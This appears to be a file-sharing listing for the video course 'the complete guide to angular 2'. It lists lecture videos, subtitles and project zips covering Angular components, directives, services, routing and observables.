[06-2020] the-complete-guide-to-angular-2

mp4   Hot:5   Size:15.61 GB   Created:2023-07-08 08:54:33   Update:2024-11-23 17:05:58  

File List

  • 27 Adding Offline Capabilities with Service Workers/416 Adding Service Workers.mp4 345.21 MB
    01 Getting Started/001 Course Introduction.mp4 13.09 MB
    01 Getting Started/002 What is Angular_.en_US.srt 2.73 KB
    01 Getting Started/002 What is Angular_.mp4 14.32 MB
    01 Getting Started/003 Join our Online Learning Community.html 1.22 KB
    01 Getting Started/004 Angular vs Angular 2 vs Angular 9.en_US.srt 4.65 KB
    01 Getting Started/004 Angular vs Angular 2 vs Angular 9.mp4 6.57 MB
    01 Getting Started/005 CLI Deep Dive & Troubleshooting.html 2.92 KB
    01 Getting Started/006 Node.js Download.html 970 B
    01 Getting Started/007 file.zip 1.91 KB
    01 Getting Started/007 Project Setup and First App.en_US.srt 12.93 KB
    01 Getting Started/007 Project Setup and First App.mp4 47.41 MB
    01 Getting Started/008 Editing the First App.en_US.srt 14.35 KB
    01 Getting Started/008 Editing the First App.mp4 47.47 MB
    01 Getting Started/008 first-app.zip 30.95 KB
    01 Getting Started/009 The Course Structure.en_US.srt 5.74 KB
    01 Getting Started/009 The Course Structure.mp4 15.28 MB
    01 Getting Started/010 How to get the Most out of the Course.en_US.srt 3.36 KB
    01 Getting Started/010 How to get the Most out of the Course.mp4 7.7 MB
    01 Getting Started/011 What is TypeScript_.en_US.srt 3.35 KB
    01 Getting Started/011 What is TypeScript_.mp4 6.44 MB
    01 Getting Started/012 A Basic Project Setup using Bootstrap for Styling.en_US.srt 5.38 KB
    01 Getting Started/012 A Basic Project Setup using Bootstrap for Styling.mp4 21.81 MB
    01 Getting Started/012 project-template.zip 31.94 KB
    01 Getting Started/013 first-app.zip 17.14 KB
    01 Getting Started/013 project-template.zip 17.59 KB
    01 Getting Started/013 Where to find the Course Source Code.html 1.49 KB
    02 The Basics/014 Module Introduction.en_US.srt 1.18 KB
    02 The Basics/014 Module Introduction.mp4 3.91 MB
    02 The Basics/015 How an Angular App gets Loaded and Started.en_US.srt 8.57 KB
    02 The Basics/015 How an Angular App gets Loaded and Started.mp4 32.98 MB
    02 The Basics/016 Components are Important!.en_US.srt 3.84 KB
    02 The Basics/016 Components are Important!.mp4 10.97 MB
    02 The Basics/017 Creating a New Component.en_US.srt 8.96 KB
    02 The Basics/017 Creating a New Component.mp4 31.54 MB
    02 The Basics/018 Understanding the Role of AppModule and Component Declaration.en_US.srt 6.73 KB
    02 The Basics/018 Understanding the Role of AppModule and Component Declaration.mp4 26.39 MB
    02 The Basics/019 Using Custom Components.en_US.srt 1.38 KB
    02 The Basics/019 Using Custom Components.mp4 5.11 MB
    02 The Basics/020 Creating Components with the CLI & Nesting Components.en_US.srt 4.54 KB
    02 The Basics/020 Creating Components with the CLI & Nesting Components.mp4 16.62 MB
    02 The Basics/021 Working with Component Templates.en_US.srt 3.91 KB
    02 The Basics/021 Working with Component Templates.mp4 15.29 MB
    02 The Basics/022 Working with Component Styles.en_US.srt 4.85 KB
    02 The Basics/022 Working with Component Styles.mp4 19.05 MB
    02 The Basics/023 basics-components.zip 19.47 KB
    02 The Basics/023 Fully Understanding the Component Selector.en_US.srt 4.3 KB
    02 The Basics/023 Fully Understanding the Component Selector.mp4 18.41 MB
    02 The Basics/024 [OPTIONAL] Assignment Solution.en_US.srt 7.95 KB
    02 The Basics/024 [OPTIONAL] Assignment Solution.mp4 43.29 MB
    02 The Basics/024 basics-assignment-1-solution.zip 20.98 KB
    02 The Basics/025 What is Databinding_.en_US.srt 3.71 KB
    02 The Basics/025 What is Databinding_.mp4 10.29 MB
    02 The Basics/026 String Interpolation.en_US.srt 6.37 KB
    02 The Basics/026 String Interpolation.mp4 24.32 MB
    02 The Basics/027 Property Binding.en_US.srt 8.49 KB
    02 The Basics/027 Property Binding.mp4 31.73 MB
    02 The Basics/028 Property Binding vs String Interpolation.en_US.srt 4.1 KB
    02 The Basics/028 Property Binding vs String Interpolation.mp4 43.22 MB
    02 The Basics/029 Event Binding.en_US.srt 5.35 KB
    02 The Basics/029 Event Binding.mp4 27.59 MB
    02 The Basics/030 Bindable Properties and Events.html 1.08 KB
    02 The Basics/031 Passing and Using Data with Event Binding.en_US.srt 5.32 KB
    02 The Basics/031 Passing and Using Data with Event Binding.mp4 38.33 MB
    02 The Basics/032 Important_ FormsModule is Required for Two-Way-Binding!.html 909 B
    02 The Basics/033 Two-Way-Databinding.en_US.srt 3.33 KB
    02 The Basics/033 Two-Way-Databinding.mp4 17.98 MB
    02 The Basics/034 basics-databinding.zip 20.03 KB
    02 The Basics/034 Combining all Forms of Databinding.en_US.srt 2.3 KB
    02 The Basics/034 Combining all Forms of Databinding.mp4 10.53 MB
    02 The Basics/035 [OPTIONAL] Assignment Solution.en_US.srt 6.5 KB
    02 The Basics/035 [OPTIONAL] Assignment Solution.mp4 43.74 MB
    02 The Basics/035 basics-assignment-2-solution.zip 18.55 KB
    02 The Basics/036 Understanding Directives.en_US.srt 2.71 KB
    02 The Basics/036 Understanding Directives.mp4 6.79 MB
    02 The Basics/037 Using ngIf to Output Data Conditionally.en_US.srt 4.72 KB
    02 The Basics/037 Using ngIf to Output Data Conditionally.mp4 17.99 MB
    02 The Basics/038 Enhancing ngIf with an Else Condition.en_US.srt 3.5 KB
    02 The Basics/038 Enhancing ngIf with an Else Condition.mp4 19.92 MB
    02 The Basics/039 Styling Elements Dynamically with ngStyle.en_US.srt 6.11 KB
    02 The Basics/039 Styling Elements Dynamically with ngStyle.mp4 32.1 MB
    02 The Basics/040 Applying CSS Classes Dynamically with ngClass.en_US.srt 3.59 KB
    02 The Basics/040 Applying CSS Classes Dynamically with ngClass.mp4 23.06 MB
    02 The Basics/041 Outputting Lists with ngFor.en_US.srt 4.19 KB
    02 The Basics/041 Outputting Lists with ngFor.mp4 33 MB
    02 The Basics/042 [OPTIONAL] Assignment Solution.en_US.srt 9.08 KB
    02 The Basics/042 [OPTIONAL] Assignment Solution.mp4 60.04 MB
    02 The Basics/042 basics-assignment-3-solution.zip 18.78 KB
    02 The Basics/043 basics-components.zip 19.47 KB
    02 The Basics/043 basics-databinding.zip 20.03 KB
    02 The Basics/043 basics-directives.zip 20.19 KB
    02 The Basics/043 basics-ngfor-addition.zip 18.29 KB
    02 The Basics/043 Getting the Index when using ngFor.en_US.srt 3.53 KB
    02 The Basics/043 Getting the Index when using ngFor.mp4 44.41 MB
    03 Course Project - The Basics/044 Project Introduction.en_US.srt 1.43 KB
    03 Course Project - The Basics/044 Project Introduction.mp4 904.79 KB
    03 Course Project - The Basics/045 Planning the App.en_US.srt 7.6 KB
    03 Course Project - The Basics/045 Planning the App.mp4 8.9 MB
    03 Course Project - The Basics/046 Installing Bootstrap Correctly.html 1.97 KB
    03 Course Project - The Basics/047 prj-start.zip 16.84 KB
    03 Course Project - The Basics/047 Setting up the Application.en_US.srt 5.77 KB
    03 Course Project - The Basics/047 Setting up the Application.mp4 16.89 MB
    03 Course Project - The Basics/048 Creating the Components.en_US.srt 11.73 KB
    03 Course Project - The Basics/048 Creating the Components.mp4 46.98 MB
    03 Course Project - The Basics/049 Using the Components.en_US.srt 4.17 KB
    03 Course Project - The Basics/049 Using the Components.mp4 11.49 MB
    03 Course Project - The Basics/050 Adding a Navigation Bar.en_US.srt 6.61 KB
    03 Course Project - The Basics/050 Adding a Navigation Bar.mp4 34.23 MB
    03 Course Project - The Basics/051 Alternative Non-Collapsable Navigation Bar.html 1.76 KB
    03 Course Project - The Basics/052 Creating a _Recipe_ Model.en_US.srt 5.85 KB
    03 Course Project - The Basics/052 Creating a _Recipe_ Model.mp4 22.95 MB
    03 Course Project - The Basics/053 Adding Content to the Recipes Components.en_US.srt 9.41 KB
    03 Course Project - The Basics/053 Adding Content to the Recipes Components.mp4 105.07 MB
    03 Course Project - The Basics/054 Outputting a List of Recipes with ngFor.en_US.srt 5.94 KB
    03 Course Project - The Basics/054 Outputting a List of Recipes with ngFor.mp4 27.28 MB
    03 Course Project - The Basics/055 Displaying Recipe Details.en_US.srt 7.5 KB
    03 Course Project - The Basics/055 Displaying Recipe Details.mp4 33.68 MB
    03 Course Project - The Basics/056 Working on the ShoppingListComponent.en_US.srt 2.18 KB
    03 Course Project - The Basics/056 Working on the ShoppingListComponent.mp4 7.93 MB
    03 Course Project - The Basics/057 Creating an _Ingredient_ Model.en_US.srt 3.11 KB
    03 Course Project - The Basics/057 Creating an _Ingredient_ Model.mp4 10.9 MB
    03 Course Project - The Basics/058 Creating and Outputting the Shopping List.en_US.srt 2.83 KB
    03 Course Project - The Basics/058 Creating and Outputting the Shopping List.mp4 10.58 MB
    03 Course Project - The Basics/059 Adding a Shopping List Edit Section.en_US.srt 3.85 KB
    03 Course Project - The Basics/059 Adding a Shopping List Edit Section.mp4 15.39 MB
    03 Course Project - The Basics/060 prj-basics-final.zip 179.5 KB
    03 Course Project - The Basics/060 Wrap Up & Next Steps.en_US.srt 1.11 KB
    03 Course Project - The Basics/060 Wrap Up & Next Steps.mp4 2.31 MB
    04 Debugging/061 debugging.zip 17.06 KB
    04 Debugging/061 Understanding Angular Error Messages.en_US.srt 6.34 KB
    04 Debugging/061 Understanding Angular Error Messages.mp4 28.21 MB
    04 Debugging/062 Debugging Code in the Browser Using Sourcemaps.en_US.srt 6.83 KB
    04 Debugging/062 Debugging Code in the Browser Using Sourcemaps.mp4 43.38 MB
    04 Debugging/063 debugging.zip 17.06 KB
    04 Debugging/063 Using Augury to Dive into Angular Apps.en_US.srt 2.74 KB
    04 Debugging/063 Using Augury to Dive into Angular Apps.mp4 10.66 MB
    05 Components & Databinding Deep Dive/064 cmp-databinding-start.zip 18.18 KB
    05 Components & Databinding Deep Dive/064 Module Introduction.en_US.srt 719 B
    05 Components & Databinding Deep Dive/064 Module Introduction.mp4 2 MB
    05 Components & Databinding Deep Dive/065 Splitting Apps into Components.en_US.srt 7.8 KB
    05 Components & Databinding Deep Dive/065 Splitting Apps into Components.mp4 40.64 MB
    05 Components & Databinding Deep Dive/066 Property & Event Binding Overview.en_US.srt 2.16 KB
    05 Components & Databinding Deep Dive/066 Property & Event Binding Overview.mp4 5.1 MB
    05 Components & Databinding Deep Dive/067 Binding to Custom Properties.en_US.srt 6.75 KB
    05 Components & Databinding Deep Dive/067 Binding to Custom Properties.mp4 28.66 MB
    05 Components & Databinding Deep Dive/068 Assigning an Alias to Custom Properties.en_US.srt 2.38 KB
    05 Components & Databinding Deep Dive/068 Assigning an Alias to Custom Properties.mp4 10.1 MB
    05 Components & Databinding Deep Dive/069 Binding to Custom Events.en_US.srt 10.8 KB
    05 Components & Databinding Deep Dive/069 Binding to Custom Events.mp4 64.41 MB
    05 Components & Databinding Deep Dive/070 Assigning an Alias to Custom Events.en_US.srt 1.09 KB
    05 Components & Databinding Deep Dive/070 Assigning an Alias to Custom Events.mp4 6.79 MB
    05 Components & Databinding Deep Dive/071 Custom Property and Event Binding Summary.en_US.srt 2.46 KB
    05 Components & Databinding Deep Dive/071 Custom Property and Event Binding Summary.mp4 11.16 MB
    05 Components & Databinding Deep Dive/072 Understanding View Encapsulation.en_US.srt 5.72 KB
    05 Components & Databinding Deep Dive/072 Understanding View Encapsulation.mp4 66.02 MB
    05 Components & Databinding Deep Dive/073 More on View Encapsulation.en_US.srt 3.35 KB
    05 Components & Databinding Deep Dive/073 More on View Encapsulation.mp4 18.78 MB
    05 Components & Databinding Deep Dive/074 Using Local References in Templates.en_US.srt 5.64 KB
    05 Components & Databinding Deep Dive/074 Using Local References in Templates.mp4 31.33 MB
    05 Components & Databinding Deep Dive/075 @ViewChild() in Angular 8+.html 1.47 KB
    05 Components & Databinding Deep Dive/076 Getting Access to the Template & DOM with @ViewChild.en_US.srt 5.9 KB
    05 Components & Databinding Deep Dive/076 Getting Access to the Template & DOM with @ViewChild.mp4 43.58 MB
    05 Components & Databinding Deep Dive/077 Projecting Content into Components with ng-content.en_US.srt 4.24 KB
    05 Components & Databinding Deep Dive/077 Projecting Content into Components with ng-content.mp4 22.33 MB
    05 Components & Databinding Deep Dive/078 lifecycle.pdf 10.87 KB
    05 Components & Databinding Deep Dive/078 Understanding the Component Lifecycle.en_US.srt 6.46 KB
    05 Components & Databinding Deep Dive/078 Understanding the Component Lifecycle.mp4 16.01 MB
    05 Components & Databinding Deep Dive/079 Seeing Lifecycle Hooks in Action.en_US.srt 15.11 KB
    05 Components & Databinding Deep Dive/079 Seeing Lifecycle Hooks in Action.mp4 100.37 MB
    05 Components & Databinding Deep Dive/080 Lifecycle Hooks and Template Access.en_US.srt 2.99 KB
    05 Components & Databinding Deep Dive/080 Lifecycle Hooks and Template Access.mp4 21.59 MB
    05 Components & Databinding Deep Dive/081 @ContentChild() in Angular 8+.html 1.2 KB
    05 Components & Databinding Deep Dive/082 Getting Access to ng-content with @ContentChild.en_US.srt 3.34 KB
    05 Components & Databinding Deep Dive/082 Getting Access to ng-content with @ContentChild.mp4 21.48 MB
    05 Components & Databinding Deep Dive/083 cmp-databinding-final.zip 21.54 KB
    05 Components & Databinding Deep Dive/083 Wrap Up.en_US.srt 1.03 KB
    05 Components & Databinding Deep Dive/083 Wrap Up.mp4 4.07 MB
    05 Components & Databinding Deep Dive/084 [OPTIONAL] Assignment Solution.en_US.srt 15.49 KB
    05 Components & Databinding Deep Dive/084 [OPTIONAL] Assignment Solution.mp4 105.03 MB
    05 Components & Databinding Deep Dive/084 cmp-databinding-assignment-solution.zip 23.28 KB
    06 Course Project - Components & Databinding/085 Introduction.en_US.srt 1.07 KB
    06 Course Project - Components & Databinding/085 Introduction.mp4 2.19 MB
    06 Course Project - Components & Databinding/085 prj-basics-final.zip 179.5 KB
    06 Course Project - Components & Databinding/086 Adding Navigation with Event Binding and ngIf.en_US.srt 8.61 KB
    06 Course Project - Components & Databinding/086 Adding Navigation with Event Binding and ngIf.mp4 29.11 MB
    06 Course Project - Components & Databinding/087 Passing Recipe Data with Property Binding.en_US.srt 5.66 KB
    06 Course Project - Components & Databinding/087 Passing Recipe Data with Property Binding.mp4 19.8 MB
    06 Course Project - Components & Databinding/088 Passing Data with Event and Property Binding (Combined).en_US.srt 12.46 KB
    06 Course Project - Components & Databinding/088 Passing Data with Event and Property Binding (Combined).mp4 70.11 MB
    06 Course Project - Components & Databinding/089 Make sure you have FormsModule added!.html 956 B
    06 Course Project - Components & Databinding/090 Allowing the User to Add Ingredients to the Shopping List.en_US.srt 8.92 KB
    06 Course Project - Components & Databinding/090 Allowing the User to Add Ingredients to the Shopping List.mp4 41.69 MB
    06 Course Project - Components & Databinding/090 prj-cmp-databinding-final.zip 29.84 KB
    07 Directives Deep Dive/091 directives-start.zip 17.54 KB
    07 Directives Deep Dive/091 Module Introduction.en_US.srt 1.88 KB
    07 Directives Deep Dive/091 Module Introduction.mp4 4.32 MB
    07 Directives Deep Dive/092 directives-start.zip 17.54 KB
    07 Directives Deep Dive/092 ngFor and ngIf Recap.en_US.srt 4.69 KB
    07 Directives Deep Dive/092 ngFor and ngIf Recap.mp4 23.86 MB
    07 Directives Deep Dive/093 ngClass and ngStyle Recap.en_US.srt 3.6 KB
    07 Directives Deep Dive/093 ngClass and ngStyle Recap.mp4 14.66 MB
    07 Directives Deep Dive/094 Creating a Basic Attribute Directive.en_US.srt 7.98 KB
    07 Directives Deep Dive/094 Creating a Basic Attribute Directive.mp4 30.84 MB
    07 Directives Deep Dive/095 Using the Renderer to build a Better Attribute Directive.en_US.srt 9.37 KB
    07 Directives Deep Dive/095 Using the Renderer to build a Better Attribute Directive.mp4 41.19 MB
    07 Directives Deep Dive/096 More about the Renderer.html 915 B
    07 Directives Deep Dive/097 Using HostListener to Listen to Host Events.en_US.srt 3.63 KB
    07 Directives Deep Dive/097 Using HostListener to Listen to Host Events.mp4 20.74 MB
    07 Directives Deep Dive/098 Using HostBinding to Bind to Host Properties.en_US.srt 3.93 KB
    07 Directives Deep Dive/098 Using HostBinding to Bind to Host Properties.mp4 29.42 MB
    07 Directives Deep Dive/099 Binding to Directive Properties.en_US.srt 8.21 KB
    07 Directives Deep Dive/099 Binding to Directive Properties.mp4 60.72 MB
    07 Directives Deep Dive/100 What Happens behind the Scenes on Structural Directives.en_US.srt 3.57 KB
    07 Directives Deep Dive/100 What Happens behind the Scenes on Structural Directives.mp4 22.24 MB
    07 Directives Deep Dive/101 Building a Structural Directive.en_US.srt 7.41 KB
    07 Directives Deep Dive/101 Building a Structural Directive.mp4 53.17 MB
    07 Directives Deep Dive/102 directives-final.zip 19.97 KB
    07 Directives Deep Dive/102 Understanding ngSwitch.en_US.srt 3.35 KB
    07 Directives Deep Dive/102 Understanding ngSwitch.mp4 18.25 MB
    08 Course Project - Directives/103 Building and Using a Dropdown Directive.en_US.srt 7.91 KB
    08 Course Project - Directives/103 Building and Using a Dropdown Directive.mp4 31.43 MB
    08 Course Project - Directives/103 prj-directives-final.zip 29.62 KB
    08 Course Project - Directives/104 Closing the Dropdown From Anywhere.html 1.24 KB
    09 Using Services & Dependency Injection/105 Module Introduction.en_US.srt 1.95 KB
    09 Using Services & Dependency Injection/105 Module Introduction.mp4 5.66 MB
    09 Using Services & Dependency Injection/105 services-start.zip 20.41 KB
    09 Using Services & Dependency Injection/106 services-start.zip 20.41 KB
    09 Using Services & Dependency Injection/106 Why would you Need Services_.en_US.srt 2.77 KB
    09 Using Services & Dependency Injection/106 Why would you Need Services_.mp4 13.97 MB
    09 Using Services & Dependency Injection/107 Creating a Logging Service.en_US.srt 4.28 KB
    09 Using Services & Dependency Injection/107 Creating a Logging Service.mp4 29.34 MB
    09 Using Services & Dependency Injection/108 Injecting the Logging Service into Components.en_US.srt 7.64 KB
    09 Using Services & Dependency Injection/108 Injecting the Logging Service into Components.mp4 94.08 MB
    09 Using Services & Dependency Injection/109 Creating a Data Service.en_US.srt 8.26 KB
    09 Using Services & Dependency Injection/109 Creating a Data Service.mp4 28.83 MB
    09 Using Services & Dependency Injection/110 Understanding the Hierarchical Injector.en_US.srt 3.35 KB
    09 Using Services & Dependency Injection/110 Understanding the Hierarchical Injector.mp4 16.31 MB
    09 Using Services & Dependency Injection/111 How many Instances of Service Should It Be_.en_US.srt 3.04 KB
    09 Using Services & Dependency Injection/111 How many Instances of Service Should It Be_.mp4 15.33 MB
    09 Using Services & Dependency Injection/112 Injecting Services into Services.en_US.srt 6.55 KB
    09 Using Services & Dependency Injection/112 Injecting Services into Services.mp4 33.19 MB
    09 Using Services & Dependency Injection/113 services-final.zip 21.98 KB
    09 Using Services & Dependency Injection/113 Using Services for Cross-Component Communication.en_US.srt 4.88 KB
    09 Using Services & Dependency Injection/113 Using Services for Cross-Component Communication.mp4 28.04 MB
    09 Using Services & Dependency Injection/114 Services in Angular 6+.html 1.65 KB
    09 Using Services & Dependency Injection/114 services-final.zip 21.28 KB
    09 Using Services & Dependency Injection/115 [OPTIONAL] Assignment Solution.en_US.srt 11.62 KB
    09 Using Services & Dependency Injection/115 [OPTIONAL] Assignment Solution.mp4 63.2 MB
    09 Using Services & Dependency Injection/115 services-assignment-solution.zip 22.32 KB
    10 Course Project - Services & Dependency Injection/116 Introduction.en_US.srt 1.65 KB
    10 Course Project - Services & Dependency Injection/116 Introduction.mp4 3.42 MB
    10 Course Project - Services & Dependency Injection/116 prj-directives-final.zip 29.62 KB
    10 Course Project - Services & Dependency Injection/117 prj-directives-final.zip 29.62 KB
    10 Course Project - Services & Dependency Injection/117 Setting up the Services.en_US.srt 1.51 KB
    10 Course Project - Services & Dependency Injection/117 Setting up the Services.mp4 5.2 MB
    10 Course Project - Services & Dependency Injection/118 Managing Recipes in a Recipe Service.en_US.srt 4.89 KB
    10 Course Project - Services & Dependency Injection/118 Managing Recipes in a Recipe Service.mp4 45.06 MB
    10 Course Project - Services & Dependency Injection/119 Using a Service for Cross-Component Communication.en_US.srt 6.17 KB
    10 Course Project - Services & Dependency Injection/119 Using a Service for Cross-Component Communication.mp4 24 MB
    10 Course Project - Services & Dependency Injection/120 Adding the Shopping List Service.en_US.srt 5.79 KB
    10 Course Project - Services & Dependency Injection/120 Adding the Shopping List Service.mp4 22.64 MB
    10 Course Project - Services & Dependency Injection/121 Using Services for Pushing Data from A to B.en_US.srt 3.6 KB
    10 Course Project - Services & Dependency Injection/121 Using Services for Pushing Data from A to B.mp4 13.35 MB
    10 Course Project - Services & Dependency Injection/122 Adding Ingredients to Recipes.en_US.srt 4.43 KB
    10 Course Project - Services & Dependency Injection/122 Adding Ingredients to Recipes.mp4 21.48 MB
    10 Course Project - Services & Dependency Injection/123 Passing Ingredients from Recipes to the Shopping List (via a Service).en_US.srt 8.31 KB
    10 Course Project - Services & Dependency Injection/123 Passing Ingredients from Recipes to the Shopping List (via a Service).mp4 39.9 MB
    10 Course Project - Services & Dependency Injection/123 prj-services-final.zip 30.77 KB
    11 Changing Pages with Routing/124 Module Introduction.en_US.srt 1.65 KB
    11 Changing Pages with Routing/124 Module Introduction.mp4 4.6 MB
    11 Changing Pages with Routing/124 routing-start.zip 52.13 KB
    11 Changing Pages with Routing/125 routing-start.zip 52.13 KB
    11 Changing Pages with Routing/125 Why do we need a Router_.en_US.srt 1.53 KB
    11 Changing Pages with Routing/125 Why do we need a Router_.mp4 4.9 MB
    11 Changing Pages with Routing/126 Understanding the Example Project.html 850 B
    11 Changing Pages with Routing/127 Setting up and Loading Routes.en_US.srt 10.39 KB
    11 Changing Pages with Routing/127 Setting up and Loading Routes.mp4 58.59 MB
    11 Changing Pages with Routing/128 Navigating with Router Links.en_US.srt 7.09 KB
    11 Changing Pages with Routing/128 Navigating with Router Links.mp4 33.02 MB
    11 Changing Pages with Routing/129 Understanding Navigation Paths.en_US.srt 5.93 KB
    11 Changing Pages with Routing/129 Understanding Navigation Paths.mp4 131.32 MB
    11 Changing Pages with Routing/130 Styling Active Router Links.en_US.srt 5.95 KB
    11 Changing Pages with Routing/130 Styling Active Router Links.mp4 23.06 MB
    11 Changing Pages with Routing/131 Navigating Programmatically.en_US.srt 4.39 KB
    11 Changing Pages with Routing/131 Navigating Programmatically.mp4 16.42 MB
    11 Changing Pages with Routing/132 Using Relative Paths in Programmatic Navigation.en_US.srt 6.44 KB
    11 Changing Pages with Routing/132 Using Relative Paths in Programmatic Navigation.mp4 45.1 MB
    11 Changing Pages with Routing/133 Passing Parameters to Routes.en_US.srt 3.73 KB
    11 Changing Pages with Routing/133 Passing Parameters to Routes.mp4 21.5 MB
    11 Changing Pages with Routing/134 Fetching Route Parameters.en_US.srt 4.96 KB
    11 Changing Pages with Routing/134 Fetching Route Parameters.mp4 26.02 MB
    11 Changing Pages with Routing/135 Fetching Route Parameters Reactively.en_US.srt 9 KB
    11 Changing Pages with Routing/135 Fetching Route Parameters Reactively.mp4 61.8 MB
    11 Changing Pages with Routing/136 An Important Note about Route Observables.en_US.srt 3.61 KB
    11 Changing Pages with Routing/136 An Important Note about Route Observables.mp4 14.41 MB
    11 Changing Pages with Routing/137 Passing Query Parameters and Fragments.en_US.srt 7.71 KB
    11 Changing Pages with Routing/137 Passing Query Parameters and Fragments.mp4 37.26 MB
    11 Changing Pages with Routing/138 Retrieving Query Parameters and Fragments.en_US.srt 4.26 KB
    11 Changing Pages with Routing/138 Retrieving Query Parameters and Fragments.mp4 23.32 MB
    11 Changing Pages with Routing/139 Practicing and some Common Gotchas.en_US.srt 7.8 KB
    11 Changing Pages with Routing/139 Practicing and some Common Gotchas.mp4 43.1 MB
    11 Changing Pages with Routing/140 Setting up Child (Nested) Routes.en_US.srt 5.39 KB
    11 Changing Pages with Routing/140 Setting up Child (Nested) Routes.mp4 39.87 MB
    11 Changing Pages with Routing/141 Using Query Parameters - Practice.en_US.srt 6.58 KB
    11 Changing Pages with Routing/141 Using Query Parameters - Practice.mp4 27.96 MB
    11 Changing Pages with Routing/142 Configuring the Handling of Query Parameters.en_US.srt 2.25 KB
    11 Changing Pages with Routing/142 Configuring the Handling of Query Parameters.mp4 12.2 MB
    11 Changing Pages with Routing/143 Redirecting and Wildcard Routes.en_US.srt 5.46 KB
    11 Changing Pages with Routing/143 Redirecting and Wildcard Routes.mp4 126.5 MB
    11 Changing Pages with Routing/144 Important_ Redirection Path Matching.html 1.61 KB
    11 Changing Pages with Routing/145 Outsourcing the Route Configuration.en_US.srt 5.3 KB
    11 Changing Pages with Routing/145 Outsourcing the Route Configuration.mp4 41.87 MB
    11 Changing Pages with Routing/146 An Introduction to Guards.en_US.srt 2.06 KB
    11 Changing Pages with Routing/146 An Introduction to Guards.mp4 12.94 MB
    11 Changing Pages with Routing/147 Protecting Routes with canActivate.en_US.srt 10.36 KB
    11 Changing Pages with Routing/147 Protecting Routes with canActivate.mp4 60.82 MB
    11 Changing Pages with Routing/148 Protecting Child (Nested) Routes with canActivateChild.en_US.srt 3.38 KB
    11 Changing Pages with Routing/148 Protecting Child (Nested) Routes with canActivateChild.mp4 14.04 MB
    11 Changing Pages with Routing/149 Using a Fake Auth Service.en_US.srt 1.91 KB
    11 Changing Pages with Routing/149 Using a Fake Auth Service.mp4 10.48 MB
    11 Changing Pages with Routing/150 Controlling Navigation with canDeactivate.en_US.srt 14.53 KB
    11 Changing Pages with Routing/150 Controlling Navigation with canDeactivate.mp4 193.99 MB
    11 Changing Pages with Routing/151 Passing Static Data to a Route.en_US.srt 7.68 KB
    11 Changing Pages with Routing/151 Passing Static Data to a Route.mp4 164.11 MB
    11 Changing Pages with Routing/152 Resolving Dynamic Data with the resolve Guard.en_US.srt 12.19 KB
    11 Changing Pages with Routing/152 Resolving Dynamic Data with the resolve Guard.mp4 88.67 MB
    11 Changing Pages with Routing/153 Understanding Location Strategies.en_US.srt 5.98 KB
    11 Changing Pages with Routing/153 Understanding Location Strategies.mp4 58.9 MB
    11 Changing Pages with Routing/154 routing-final.zip 32.64 KB
    11 Changing Pages with Routing/154 Wrap Up.en_US.srt 1.12 KB
    11 Changing Pages with Routing/154 Wrap Up.mp4 2.94 MB
    12 Course Project - Routing/155 Planning the General Structure.en_US.srt 2.12 KB
    12 Course Project - Routing/155 Planning the General Structure.mp4 3.73 MB
    12 Course Project - Routing/156 Setting Up Routes.en_US.srt 10.1 KB
    12 Course Project - Routing/156 Setting Up Routes.mp4 37.83 MB
    12 Course Project - Routing/157 Adding Navigation to the App.en_US.srt 2.13 KB
    12 Course Project - Routing/157 Adding Navigation to the App.mp4 11.58 MB
    12 Course Project - Routing/158 Marking Active Routes.en_US.srt 2.08 KB
    12 Course Project - Routing/158 Marking Active Routes.mp4 6 MB
    12 Course Project - Routing/159 Fixing Page Reload Issues.en_US.srt 3.72 KB
    12 Course Project - Routing/159 Fixing Page Reload Issues.mp4 19.4 MB
    12 Course Project - Routing/160 Child Routes_ Challenge.en_US.srt 2.54 KB
    12 Course Project - Routing/160 Child Routes_ Challenge.mp4 10.28 MB
    12 Course Project - Routing/161 Adding Child Routing Together.en_US.srt 5.19 KB
    12 Course Project - Routing/161 Adding Child Routing Together.mp4 25.78 MB
    12 Course Project - Routing/162 Configuring Route Parameters.en_US.srt 7.44 KB
    12 Course Project - Routing/162 Configuring Route Parameters.mp4 40.35 MB
    12 Course Project - Routing/163 Passing Dynamic Parameters to Links.en_US.srt 3.5 KB
    12 Course Project - Routing/163 Passing Dynamic Parameters to Links.mp4 13.73 MB
    12 Course Project - Routing/164 Styling Active Recipe Items.en_US.srt 1.58 KB
    12 Course Project - Routing/164 Styling Active Recipe Items.mp4 7.6 MB
    12 Course Project - Routing/165 Adding Editing Routes.en_US.srt 4.11 KB
    12 Course Project - Routing/165 Adding Editing Routes.mp4 44.5 MB
    12 Course Project - Routing/166 Retrieving Route Parameters.en_US.srt 4.04 KB
    12 Course Project - Routing/166 Retrieving Route Parameters.mp4 20.5 MB
    12 Course Project - Routing/167 Programmatic Navigation to the Edit Page.en_US.srt 5.64 KB
    12 Course Project - Routing/167 Programmatic Navigation to the Edit Page.mp4 29.61 MB
    12 Course Project - Routing/168 One Note about Route Observables.en_US.srt 1.05 KB
    12 Course Project - Routing/168 One Note about Route Observables.mp4 4.1 MB
    12 Course Project - Routing/169 prj-routing-final.zip 34.58 KB
    12 Course Project - Routing/169 Project Cleanup.html 1.47 KB
    13 Understanding Observables/170 Module Introduction.en_US.srt 5.77 KB
    13 Understanding Observables/170 Module Introduction.mp4 14.52 MB
    13 Understanding Observables/171 Analyzing Angular Observables.en_US.srt 2.87 KB
    13 Understanding Observables/171 Analyzing Angular Observables.mp4 11.07 MB
    13 Understanding Observables/171 obs-01-start.zip 37.25 KB
    13 Understanding Observables/172 Getting Closer to the Core of Observables.en_US.srt 8.71 KB
    13 Understanding Observables/172 Getting Closer to the Core of Observables.mp4 36.76 MB
    13 Understanding Observables/172 obs-02-first-custom-observable.zip 40.91 KB
    13 Understanding Observables/173 Building a Custom Observable.en_US.srt 6.21 KB
    13 Understanding Observables/173 Building a Custom Observable.mp4 27.81 MB
    13 Understanding Observables/173 obs-03-complete-custom-observable.zip 41.76 KB
    13 Understanding Observables/174 Errors & Completion.en_US.srt 8.91 KB
    13 Understanding Observables/174 Errors & Completion.mp4 45.22 MB
    13 Understanding Observables/175 Observables & You!.en_US.srt 2.48 KB
    13 Understanding Observables/175 Observables & You!.mp4 20.15 MB
    13 Understanding Observables/176 obs-04-operators.zip 38.4 KB
    13 Understanding Observables/176 Understanding Operators.en_US.srt 11.08 KB
    13 Understanding Observables/176 Understanding Operators.mp4 100.9 MB
    13 Understanding Observables/177 Subjects.en_US.srt 10.24 KB
    13 Understanding Observables/177 Subjects.mp4 43.63 MB
    13 Understanding Observables/178 obs-05-finished.zip 39.18 KB
    13 Understanding Observables/178 Wrap Up.en_US.srt 1.51 KB
    13 Understanding Observables/178 Wrap Up.mp4 5.45 MB
